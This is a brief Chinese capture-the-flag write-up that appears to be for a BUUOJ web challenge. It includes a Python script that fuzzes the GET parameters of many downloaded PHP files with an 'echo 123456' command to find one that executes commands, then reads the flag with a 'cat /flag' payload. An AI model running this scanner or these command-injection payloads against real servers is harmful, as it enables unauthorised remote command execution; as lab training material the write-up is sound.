打开环境
直接复制www.tar.gz下载源码
打开发现很多个php文件
一堆乱七八糟的文件
随机打开一个,观察源代码
写的乱七八糟的
解题思路就是用get和post对所有文件进行挨个传参,一句话返回一个预定的值就利用该文件来获取flag
借其他大佬的脚本一用(跟扫目录返回状态码一个思路)
import re
import os
import requests
files = os.listdir(r'C:\Users\xxxx\Desktop\www\src') #获取路径下的所有文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])') #设置正则
for i in files: #从第一个文件开始
url = "http://xxxx.buuoj.cn:81/" + i
f = open(r"C:\Users\86152\Desktop\www\src/"+i,encoding='UTF-8') #打开这个文件
data = f.read() #读取文件内容
f.close() #关闭文件
result = reg.findall(data) #从文件中找到GET请求
for j in result: #从第一个GET参数开始
payload = url + "?" + j + "=echo 123456" ##尝试请求次路径,并执行命令
print(payload) #输出payload
html = requests.get(payload) #获取返回内容
if "123456" in html.text:
print("就是它了!:") #判断返回内容有123456的及可以利用
print(payload)
exit(1)
利用以下payload
/xk0SzyKwfzw.php?Efa5BVG=cat /flag
flag{37a60024-a407-4728-a611-44e3f3570315}